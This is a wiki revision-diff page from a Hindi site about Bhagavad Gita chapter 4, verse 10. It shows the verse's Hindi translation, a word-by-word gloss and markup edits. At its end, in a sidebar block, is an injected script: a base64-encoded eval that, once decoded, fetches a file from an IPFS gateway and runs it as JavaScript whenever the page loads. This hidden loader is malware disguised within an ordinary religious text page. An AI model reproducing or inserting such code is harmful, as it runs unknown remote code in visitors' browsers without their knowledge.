"गीता 4:10" के अवतरणों में अंतर
छो |
छो (Text replace - '<td> {{महाभारत}} </td> </tr> <tr> <td> {{गीता2}} </td>' to '<td> {{गीता2}} </td> </tr> <tr> <td> {{महाभारत}} </td>') |
||
(३ सदस्यों द्वारा किये गये बीच के ५ अवतरण नहीं दर्शाए गए) | |||
पंक्ति १: | पंक्ति १: | ||
− | {{menu}} | + | {{menu}} |
<table class="gita" width="100%" align="left"> | <table class="gita" width="100%" align="left"> | ||
<tr> | <tr> | ||
पंक्ति २३: | पंक्ति २३: | ||
| style="width:50%; font-size:120%;padding:10px;" valign="top"| | | style="width:50%; font-size:120%;padding:10px;" valign="top"| | ||
---- | ---- | ||
− | पहले भी, जिनके राग, भय और क्रोध सर्वथा नष्ट हो गये थे और जो मुझ में अनन्य प्रेमपूर्वक स्थित रहते थे, ऐसे मेरे आश्रित रहने वाले बहुत से भक्त उपुर्युक्त ज्ञानरूप | + | पहले भी, जिनके राग, भय और क्रोध सर्वथा नष्ट हो गये थे और जो मुझ में अनन्य प्रेमपूर्वक स्थित रहते थे, ऐसे मेरे आश्रित रहने वाले बहुत से भक्त उपुर्युक्त ज्ञानरूप तप से पवित्र होकर मेरे स्वरूप हो प्राप्त हो चुके हैं ।।10।। |
| style="width:50%; font-size:120%;padding:10px;" valign="top"| | | style="width:50%; font-size:120%;padding:10px;" valign="top"| | ||
पंक्ति ३४: | पंक्ति ३४: | ||
|- | |- | ||
| style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" | | | style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" | | ||
− | वीतरागभयक्रोधा: = राग भय और क्रोध से रहित; मन्मया: = अनन्यभाव से मेरे में स्थिति वाले; माम् = मेरे; उपाश्रिता: = शरण हुए; बहव: = बहुत से | + | वीतरागभयक्रोधा: = राग भय और क्रोध से रहित; मन्मया: = अनन्यभाव से मेरे में स्थिति वाले; माम् = मेरे; उपाश्रिता: = शरण हुए; बहव: = बहुत से पुरुष; ज्ञानतपसा = ज्ञानरूप तप से; पूता: = पवित्र हुए; भद्भावम् = मेरे स्वरूप को; आगता: = प्राप्त हो चुके हैं। |
|- | |- | ||
|} | |} | ||
पंक्ति ५४: | पंक्ति ५४: | ||
<td> | <td> | ||
{{गीता अध्याय}} | {{गीता अध्याय}} | ||
+ | </td> | ||
+ | </tr> | ||
+ | <tr> | ||
+ | <td> | ||
+ | {{गीता2}} | ||
+ | </td> | ||
+ | </tr> | ||
+ | <tr> | ||
+ | <td> | ||
+ | {{महाभारत}} | ||
</td> | </td> | ||
</tr> | </tr> | ||
</table> | </table> | ||
− | [[ | + | [[Category:गीता]] |
__INDEX__ | __INDEX__ |
१२:३६, २१ मार्च २०१० के समय का अवतरण
गीता अध्याय-4 श्लोक-10 / Gita Chapter-4 Verse-10
|
||||||||
|
||||||||
|
||||||||
<sidebar>
__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
</sidebar> |
||||||||
|
||||||||